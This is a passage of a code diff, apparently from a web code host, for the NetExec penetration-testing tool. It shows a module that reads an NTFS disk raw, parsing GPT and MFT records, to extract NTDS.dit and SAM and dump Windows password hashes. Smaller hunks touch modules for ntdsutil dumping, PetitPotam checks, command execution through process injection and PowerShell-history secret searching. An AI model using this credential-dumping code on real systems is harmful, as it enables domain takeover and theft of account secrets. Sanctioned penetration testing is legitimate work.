justUser=None,
|
||||
printUserStatus=True,
|
||||
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
|
||||
)
|
||||
|
||||
try:
|
||||
self.logger.success("NTDS hashes:")
|
||||
NTDS.dump()
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
|
||||
try:
|
||||
self.logger.success("SAM hashes:")
|
||||
SAM.dump()
|
||||
SAM.export(self.output_filename)
|
||||
except Exception as e:
|
||||
self.logger.debug(e)
|
||||
|
||||
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
|
||||
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
|
||||
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
|
||||
|
||||
SAM.finish()
|
||||
NTDS.finish()
|
||||
|
||||
def analyze_NTFS(self, ntfs_header):
|
||||
"""Decode the NTFS headers and extract needed infromation from it"""
|
||||
ntfs_header = ntfs_header[0xB : 0xB + 25 + 48]
|
||||
header_format = "<HBH3BHBHHHIIIQQQIB3BQI"
|
||||
|
||||
data = struct.unpack(header_format, ntfs_header)
|
||||
|
||||
Bytes_per_sector = data[0]
|
||||
Sectors_per_cluster = data[1]
|
||||
MFT_cluster_number = data[15]
|
||||
|
||||
self.CLUSTER_SIZE = Bytes_per_sector * Sectors_per_cluster
|
||||
self.MFT_LOCATION = MFT_cluster_number * self.CLUSTER_SIZE + self.NTFS_LOCATION
|
||||
|
||||
def read_MFT(self, MFT_file_header: MFA_sector_properties):
|
||||
"""Extract the content of the MFT and save it to disk"""
|
||||
# resize dataRun into a small chunks
|
||||
filename_on_disk = f"{self.host}_MFT_{self.RANDOM_RUN_NUM}.bin"
|
||||
export_path = join(TMP_PATH, "raw_ntds_dump")
|
||||
path = abspath(join(export_path, filename_on_disk))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
self.MFT_local_path = path
|
||||
|
||||
self.logger.display(f"Analyzing & Extracting {MFT_file_header.filename} {MFT_file_header.size / (1024**2)}MB")
|
||||
for i in MFT_file_header.dataRun:
|
||||
cluster_loc = i[0] * self.CLUSTER_SIZE
|
||||
size = i[1] * self.CLUSTER_SIZE
|
||||
curr_cluster_loc = cluster_loc + self.NTFS_LOCATION
|
||||
chunk_size = self.CHUNK_SIZE
|
||||
while size > 0:
|
||||
if size < chunk_size:
|
||||
chunk_size = size
|
||||
self.logger.debug(f"{hex(curr_cluster_loc)=}")
|
||||
curr_data = self.read_from_disk(curr_cluster_loc, chunk_size)
|
||||
curr_cluster_loc += chunk_size
|
||||
size -= chunk_size
|
||||
|
||||
with open(path, "ab") as f:
|
||||
f.write(curr_data)
|
||||
|
||||
self.MFT_local_size += chunk_size
|
||||
self.search_for_the_files(curr_data)
|
||||
|
||||
if self.number_of_file_to_extract == 0:
|
||||
return
|
||||
|
||||
def search_for_the_files(self, curr_data):
|
||||
"""Analyze the current MFT records and extract the targeted files if they are present"""
|
||||
MFT_record_indx = 0
|
||||
for curr_record_indx in range(len(curr_data) // 1024):
|
||||
curr_sector = curr_data[curr_record_indx * 1024 : curr_record_indx * 1024 + 1024]
|
||||
try:
|
||||
curr_MFA_sector_properties = self.analyze_MFT_header(curr_sector)
|
||||
if curr_MFA_sector_properties is None or curr_MFA_sector_properties.filename is None:
|
||||
continue
|
||||
except IndexError:
|
||||
continue
|
||||
except Exception as e:
|
||||
self.logger.debug(f"{e} at {curr_record_indx}")
|
||||
continue
|
||||
|
||||
if curr_MFA_sector_properties.filename in self.files_to_extract:
|
||||
wanted_file_indx = self.files_to_extract.index(curr_MFA_sector_properties.filename)
|
||||
wanted_file_location = "/".join(self.files_full_location_to_extract[wanted_file_indx].split("/")[:-1])
|
||||
|
||||
if curr_MFA_sector_properties.size == 0:
|
||||
continue
|
||||
curr_full_path = self.get_full_path(curr_MFA_sector_properties.parent_record_number)
|
||||
|
||||
if wanted_file_location.lower() == "/".join(curr_full_path[::-1]).lower():
|
||||
self.logger.success(f"Found {self.files_full_location_to_extract[wanted_file_indx]} {curr_MFA_sector_properties.size / (1024**2)}MB")
|
||||
curr_file_local_location = self.extractDataRunBytes(
|
||||
curr_MFA_sector_properties.dataRun,
|
||||
filename=f"{curr_MFA_sector_properties.filename}",
|
||||
offset=self.NTFS_LOCATION,
|
||||
)
|
||||
self.extracted_files_location_local[curr_MFA_sector_properties.filename] = curr_file_local_location
|
||||
self.number_of_file_to_extract -= 1
|
||||
MFT_record_indx += 1
|
||||
|
||||
def get_MFT_record_at(self, record_number):
|
||||
"""Retrieve an MFT record from dumped data on disk based on the record number"""
|
||||
if record_number * 1024 < self.MFT_local_size:
|
||||
with open(self.MFT_local_path, "rb") as f:
|
||||
f.seek(record_number * 1024, 0)
|
||||
curr_record_data = f.read(1024)
|
||||
else:
|
||||
curr_record_data = self.read_from_disk(self.MFT_LOCATION + (record_number * 1024), 1024)
|
||||
return curr_record_data
|
||||
|
||||
def get_full_path(self, curr_parent_indx):
|
||||
"""Reconstruct the file full path"""
|
||||
full_path = []
|
||||
max_depth = 20 # to prevent Infinite if that ever happened
|
||||
# for now to check if is reached record index below 10
|
||||
while curr_parent_indx > 10:
|
||||
curr_record_data = self.get_MFT_record_at(curr_parent_indx)
|
||||
curr_MFT_properites = self.analyze_MFT_header(curr_record_data)
|
||||
if curr_MFT_properites is None or curr_MFT_properites.filename is None or max_depth == 0:
|
||||
break
|
||||
full_path.append(curr_MFT_properites.filename)
|
||||
curr_parent_indx = curr_MFT_properites.parent_record_number
|
||||
max_depth -= 1
|
||||
return full_path
|
||||
|
||||
def extractDataRunBytes(self, lst, filename, offset=0):
|
||||
"""Retrieve the content of the file based on its datarun values"""
|
||||
filename_on_disk = f"{self.host}_{filename}_{self.RANDOM_RUN_NUM}.bin"
|
||||
export_path = join(TMP_PATH, "raw_ntds_dump")
|
||||
path = abspath(join(export_path, filename_on_disk))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
self.logger.display(f"Extracting {filename} to {path}")
|
||||
for i in lst:
|
||||
cluster_loc = i[0] * self.CLUSTER_SIZE
|
||||
size = i[1] * self.CLUSTER_SIZE
|
||||
curr_cluster_loc = cluster_loc + offset
|
||||
chunk_size = self.CHUNK_SIZE
|
||||
while size > 0:
|
||||
if size < chunk_size:
|
||||
chunk_size = size
|
||||
self.logger.debug(f"{hex(curr_cluster_loc)=}")
|
||||
curr_data = self.read_from_disk(curr_cluster_loc, chunk_size)
|
||||
curr_cluster_loc += chunk_size
|
||||
size -= chunk_size
|
||||
|
||||
with open(path, "ab") as f:
|
||||
f.write(curr_data)
|
||||
return path
|
||||
|
||||
def bytes_to_int_signed(self, lst):
|
||||
"""Unpack bytes to a signed integer dynamically based on its length"""
|
||||
lst_len = len(lst)
|
||||
if lst_len == 1:
|
||||
return struct.unpack("<b", lst)[0]
|
||||
if lst_len == 2:
|
||||
return struct.unpack("<h", lst)[0]
|
||||
elif lst_len == 4:
|
||||
return struct.unpack("<i", lst)[0]
|
||||
elif lst_len == 8:
|
||||
return struct.unpack("<q", lst)[0]
|
||||
|
||||
def bytes_to_int_unsigned(self, lst):
|
||||
"""Unpack bytes to an unsigned integer dynamically based on its length"""
|
||||
lst_len = len(lst)
|
||||
if lst_len == 1:
|
||||
return struct.unpack("<B", lst)[0]
|
||||
if lst_len == 2:
|
||||
return struct.unpack("<H", lst)[0]
|
||||
elif lst_len == 4:
|
||||
return struct.unpack("<I", lst)[0]
|
||||
elif lst_len == 8:
|
||||
return struct.unpack("<Q", lst)[0]
|
||||
|
||||
def decode_dataRun(self, dataRun):
|
||||
"""Decode the data run properties and return the fragmented locations of the file content on the disk"""
|
||||
curr_datarun_indx = 0
|
||||
prev_datarun_loc = 0
|
||||
total_size = 0
|
||||
result = []
|
||||
while dataRun[curr_datarun_indx] != 0:
|
||||
dataRun_startingCluster_nBytes = dataRun[curr_datarun_indx] & 0b00001111
|
||||
dataRun_len_nBytes = (dataRun[curr_datarun_indx] & 0b11110000) >> 4
|
||||
curr_datarun_indx += 1
|
||||
|
||||
dataRun_len = dataRun[curr_datarun_indx : curr_datarun_indx + dataRun_startingCluster_nBytes]
|
||||
dataRun_len = int.from_bytes(dataRun_len, byteorder="little", signed=False)
|
||||
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes : curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
|
||||
|
||||
datarun_cluster_loc = int.from_bytes(datarun_startingCluster, byteorder="little", signed=True) + prev_datarun_loc
|
||||
|
||||
total_size += dataRun_len
|
||||
result.append([datarun_cluster_loc, dataRun_len])
|
||||
|
||||
curr_datarun_indx = curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes
|
||||
prev_datarun_loc = datarun_cluster_loc
|
||||
|
||||
return result, total_size * self.CLUSTER_SIZE
|
||||
|
||||
def parse_MFT_header(self, curr_sector):
|
||||
"""Parse the MFT header and return its properties as a list"""
|
||||
curr_index = 0
|
||||
parsed_header = {}
|
||||
|
||||
while True:
|
||||
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index : curr_index + 4])
|
||||
if curr_header == 0xFFFFFFFF or curr_header is None:
|
||||
break
|
||||
|
||||
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4 : curr_index + 4 + 4])
|
||||
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index : curr_index + curr_header_len]
|
||||
curr_index = curr_index + curr_header_len
|
||||
|
||||
return parsed_header
|
||||
|
||||
def analyze_MFT_header(self, curr_sector):
|
||||
"""Extract MFT properties"""
|
||||
curr_MFA_sector = self.MFA_sector_properties()
|
||||
|
||||
if curr_sector[:4] != b"FILE":
|
||||
return None
|
||||
|
||||
Offset_to_the_first_attribute = self.bytes_to_int_unsigned(curr_sector[20:22])
|
||||
|
||||
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
|
||||
|
||||
if "$FILE_NAME" in parsed_header:
|
||||
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58 : 0x58 + 1])
|
||||
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18 : 0x18 + 3] + b"\x00")
|
||||
|
||||
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2 : 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
|
||||
|
||||
if "$DATA" in parsed_header:
|
||||
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20 : 0x20 + 1])
|
||||
|
||||
dataRun = parsed_header["$DATA"][dataRun_offset:]
|
||||
curr_MFA_sector.dataRun, curr_MFA_sector.size = self.decode_dataRun(dataRun)
|
||||
|
||||
return curr_MFA_sector
|
||||
|
||||
def analyze_gpt(self, disk_path):
|
||||
"""Extract the GPT partition locations on disk and return the index of Basic data partition."""
|
||||
gpt_header = self.read_from_disk(self.GPT_HEADER_OFFSET, self.GPT_HEADER_SIZE)
|
||||
partition_entry_lba, num_partition_entries, partition_entry_size = self.parse_gpt_header(gpt_header)
|
||||
partition_entries = self.read_partition_entries(disk_path, partition_entry_lba, num_partition_entries, partition_entry_size)
|
||||
|
||||
self.logger.debug(f"Found {len(partition_entries)} partition entries.")
|
||||
|
||||
NTFS_partition_location = -1
|
||||
for index, partition_entry in enumerate(partition_entries):
|
||||
self.logger.debug(f"\nPartition {index + 1}:")
|
||||
first_lba, partition_name = self.parse_partition_entry(partition_entry)
|
||||
if first_lba > 0:
|
||||
self.logger.debug(f"First Physical Address (LBA): {first_lba}")
|
||||
else:
|
||||
break
|
||||
|
||||
self.logger.debug(f"{partition_name=}")
|
||||
if partition_name == "Basic data partition":
|
||||
NTFS_partition_location = first_lba * 512
|
||||
return NTFS_partition_location
|
||||
|
||||
def read_partition_entries(self, disk_path, partition_entry_lba, num_partition_entries, partition_entry_size):
|
||||
"""Get the partition header section from the GPT header"""
|
||||
partition_entries = []
|
||||
partition_table_offset = partition_entry_lba * self.GPT_HEADER_OFFSET
|
||||
total_size = num_partition_entries * partition_entry_size
|
||||
|
||||
partition_table_data = self.read_from_disk(partition_table_offset, total_size)
|
||||
|
||||
for i in range(num_partition_entries):
|
||||
entry_offset = i * partition_entry_size
|
||||
partition_entry = partition_table_data[entry_offset : entry_offset + partition_entry_size]
|
||||
partition_entries.append(partition_entry)
|
||||
|
||||
return partition_entries
|
||||
|
||||
def parse_gpt_header(self, gpt_header):
|
||||
"""Parse the GPT header and return its partition header information"""
|
||||
header_format = "<8sIIIIQQQQ16sQIII"
|
||||
if len(gpt_header) < self.GPT_HEADER_SIZE:
|
||||
raise ValueError("GPT header data is too short")
|
||||
|
||||
data = struct.unpack(header_format, gpt_header)
|
||||
|
||||
partition_entry_lba = data[10]
|
||||
num_partition_entries = data[11]
|
||||
size_of_partition_entry = data[12]
|
||||
|
||||
return partition_entry_lba, num_partition_entries, size_of_partition_entry
|
||||
|
||||
def parse_partition_entry(self, partition_entry):
|
||||
"""Parse the GPT partition header and return the first LBA location and partition name"""
|
||||
entry_format = "<16s16sQQQ72s"
|
||||
|
||||
(
|
||||
partition_type_guid,
|
||||
unique_partition_guid,
|
||||
first_lba,
|
||||
last_lba,
|
||||
attributes,
|
||||
partition_name,
|
||||
) = struct.unpack(entry_format, partition_entry)
|
||||
|
||||
partition_name = partition_name.decode("utf-16le").rstrip("\x00")
|
||||
|
||||
return first_lba, partition_name
|
||||
@@ -19,8 +19,6 @@ class NXCModule:
|
||||
name = "ntdsutil"
|
||||
description = "Dump NTDS with ntdsutil"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -142,6 +140,8 @@ class NXCModule:
|
||||
add_ntds_hash.ntds_hashes = 0
|
||||
add_ntds_hash.added_to_db = 0
|
||||
|
||||
connection.output_filename = connection.output_file_template.format(output_folder="ntds")
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
f"{self.dir_result}/Active Directory/ntds.dit",
|
||||
boot_key,
|
||||
|
||||
@@ -13,8 +13,6 @@ class NXCModule:
|
||||
name = "ntlmv1"
|
||||
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
self.output = "NTLMv1 allowed on: {} - LmCompatibilityLevel = {}"
|
||||
|
||||
@@ -13,8 +13,6 @@ class NXCModule:
|
||||
name = "obsolete"
|
||||
description = "Extract all obsolete operating systems from LDAP"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def ldap_time_to_datetime(self, ldap_time):
|
||||
"""Convert an LDAP timestamp to a datetime object."""
|
||||
|
||||
@@ -2,8 +2,6 @@ class NXCModule:
|
||||
name = "petitpotam"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
+5
-2
@@ -6,11 +6,14 @@ from nxc.paths import DATA_PATH, TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for running system command as target PID user's
|
||||
Module by @termanix
|
||||
"""
|
||||
|
||||
name = "pi"
|
||||
description = "Run command as logged on users via Process Injection"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
|
||||
@@ -11,8 +11,6 @@ class NXCModule:
|
||||
name = "powershell_history"
|
||||
description = "Extracts PowerShell history for all users and looks for sensitive commands."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||
sensitive_keywords = [
|
||||
"password", "passw", "secret", "credential", "key",
|
||||
|
||||
Loaded 100 of 185 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user